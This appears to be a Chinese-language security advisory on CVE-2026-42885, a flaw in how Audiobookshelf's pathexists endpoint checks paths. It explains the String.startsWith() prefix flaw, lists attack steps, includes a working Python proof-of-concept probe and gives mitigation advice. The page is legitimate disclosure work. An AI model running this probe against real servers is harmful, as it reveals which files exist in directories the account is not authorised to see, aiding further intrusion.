IPBUF安全漏洞报告
English
CVE-2026-42885 CVSS 4.3 中危

CVE-2026-42885 Audiobookshelf路径遍历漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42885
漏洞类型
路径遍历
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Audiobookshelf

相关标签

路径遍历AudiobookshelfCVE-2026-42885信息泄露路径验证绕过

漏洞概述

Audiobookshelf 是一个自托管的有声书和播客服务器。在版本 2.32.2 之前,其 POST /api/filesystem/pathexists 接口存在安全漏洞。该接口使用 String.startsWith() 方法来验证解析后的文件路径是否位于库文件夹内。然而,这种验证机制存在缺陷,对于共享相同前缀的兄弟目录(例如 /audiobooks 和 /audiobooks-private)无法正确区分。这导致拥有上传权限的经过身份验证的用户能够探测其授权库文件夹边界之外的文件是否存在。该漏洞已在版本 2.32.2 中修复。

技术细节

该漏洞的核心在于文件路径验证逻辑的不严谨。Audiobookshelf 在处理 /api/filesystem/pathexists 请求时,旨在防止目录遍历攻击,确保请求的路径位于特定的库目录下。开发人员采用了 String.startsWith() 函数进行检查,例如判断路径是否以 /audiobooks 开头。这种检查方式存在逻辑漏洞。如果服务器上有两个目录,一个是合法的 /audiobooks,另一个是受限的 /audiobooks-private,由于 /audiobooks-private 同样以 /audiobooks 开头,验证函数会错误地认为该路径是合法的。攻击者利用这一点,通过构造特定的路径请求,可以绕过边界检查。由于需要认证且有上传权限,攻击者可以发送 POST 请求探测受限目录下的文件是否存在。虽然这不能直接读取文件内容,但可以泄露敏感文件的存在性,为进一步的攻击提供情报。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者必须注册或获取一个具有上传权限的低权限账户,因为漏洞利用需要身份认证(PR:L)。
STEP 2
步骤2:分析目录结构
攻击者推测服务器上可能存在与授权库目录(如 /audiobooks)具有相同前缀的兄弟目录(如 /audiobooks-private)。
STEP 3
步骤3:构造恶意请求
攻击者向 POST /api/filesystem/pathexists 发送特制的 JSON 请求,将 path 参数设置为推测的兄弟目录(例如 /audiobooks-private/test.txt)。
STEP 4
步骤4:验证与信息泄露
由于 String.startsWith() 验证缺陷,服务器错误地认为该路径合法。攻击者根据响应确认文件是否存在,从而获取未授权目录的文件结构信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual instance) target_url = "http://localhost:13378/api/filesystem/pathexists" # Authentication token is required as per PR:L # An attacker would need a valid session or API token from a user with upload permissions headers = { "Authorization": "Bearer <VALID_TOKEN>", "Content-Type": "application/json" } # Exploit scenario: Checking a sibling directory with a common prefix # If the library is configured for '/audiobooks', checking '/audiobooks-private' # might bypass the String.startsWith() validation check. payload = { "path": "/audiobooks-private/sensitive_config.json" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the server returns that the file exists, the path validation was bypassed if data.get("exists"): print("[+] Vulnerability Confirmed: File exists outside library boundary.") else: print("[-] File does not exist or path blocked.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Audiobookshelf < 2.32.2

防御指南

临时缓解措施
如果无法立即升级,建议通过网络安全措施限制对 Audiobookshelf 服务的访问,仅允许可信的内部 IP 地址连接。此外,应严格审查和控制拥有“上传”权限的用户账户,减少潜在的攻击面。虽然可以在 Web 应用防火墙(WAF)层面对请求路径进行过滤,但由于漏洞逻辑在于服务端的路径校验,WAF 规则可能难以完全覆盖所有绕过场景,因此及时打补丁仍是最佳措施。

参考链接